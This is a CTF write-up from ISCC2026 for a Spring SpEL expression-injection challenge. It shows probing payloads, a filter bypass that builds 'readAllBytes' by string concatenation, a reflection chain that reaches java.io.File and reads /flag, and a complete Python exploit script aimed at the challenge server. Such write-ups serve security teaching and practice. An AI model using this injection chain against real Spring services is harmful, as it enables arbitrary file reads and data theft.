WEB-编码迷宫

ISCC2026 WriteUp 提交模板

WEB-编码迷宫

解题思路

image.png

首页是一个 Spring Route Debugger,前端会把输入直接拼到:

/api/route?expr=

先做几个最小测试:

  • 1%2B2 返回 3
  • ''.class.name 返回 java.lang.String
  • T(java.lang.Math).abs(-3) 报类型不可用

这说明后端确实在拿 expr 做 SpEL 求值,但静态类型入口被限制了,只能继续从现成对象往外摸。

关键点有两个:

  1. 页面里那句“不要编码 payload”基本是误导,像 + 这种符号不编码反而会被当成空格。
  2. 服务端会拦截明文 read,但不会拦截运行时拼出来的属性名,所以可以写成 ['re'+'adAllBytes']。

先从 ''.class.module.class.declaredMethods[6].returnType.declaredMethods[58].parameterTypes[1] 拿到 java.io.File,再顺着根目录往下找:

/
├── app
├── flag
└── flag.txt

所以最终读取链是:

''.class.module.class.declaredMethods[6].returnType.declaredMethods[58].parameterTypes[1]
.listRoots[0].listFiles[20]
.toURI.toURL.getContent['re'+'adAllBytes']

ISCC{SpEL_D0ubl3_Enc0d1ng_Bypass_202605}

image.png

Exp

import requests
from urllib.parse import quote

BASE = "http://39.105.213.28:12603/api/route?expr="
FILE_CLASS = "''.class.module.class.declaredMethods[6].returnType.declaredMethods[58].parameterTypes[1]"
ROOT = FILE_CLASS + ".listRoots[0]"


def req(expr: str) -> str:
    return requests.get(BASE + quote(expr, safe=""), timeout=10).text.strip()


root_len = int(req(ROOT + ".listFiles.length"))
flag_file = None

for i in range(root_len):
    name = req(f"{ROOT}.listFiles[{i}].name")
    if name == "flag":
        flag_file = f"{ROOT}.listFiles[{i}]"
        break

if flag_file is None:
    raise RuntimeError("flag not found")

length = int(req(flag_file + ".toURI.toURL.getContent['re'+'adAllBytes'].length"))
data = bytearray()

for i in range(length):
    b = int(req(flag_file + f".toURI.toURL.getContent['re'+'adAllBytes'][{i}]"))
    data.append(b & 0xFF)

print(data.decode())
posted @ 2026-05-19 16:28  MillionMind  阅读(41)  评论(0)    收藏  举报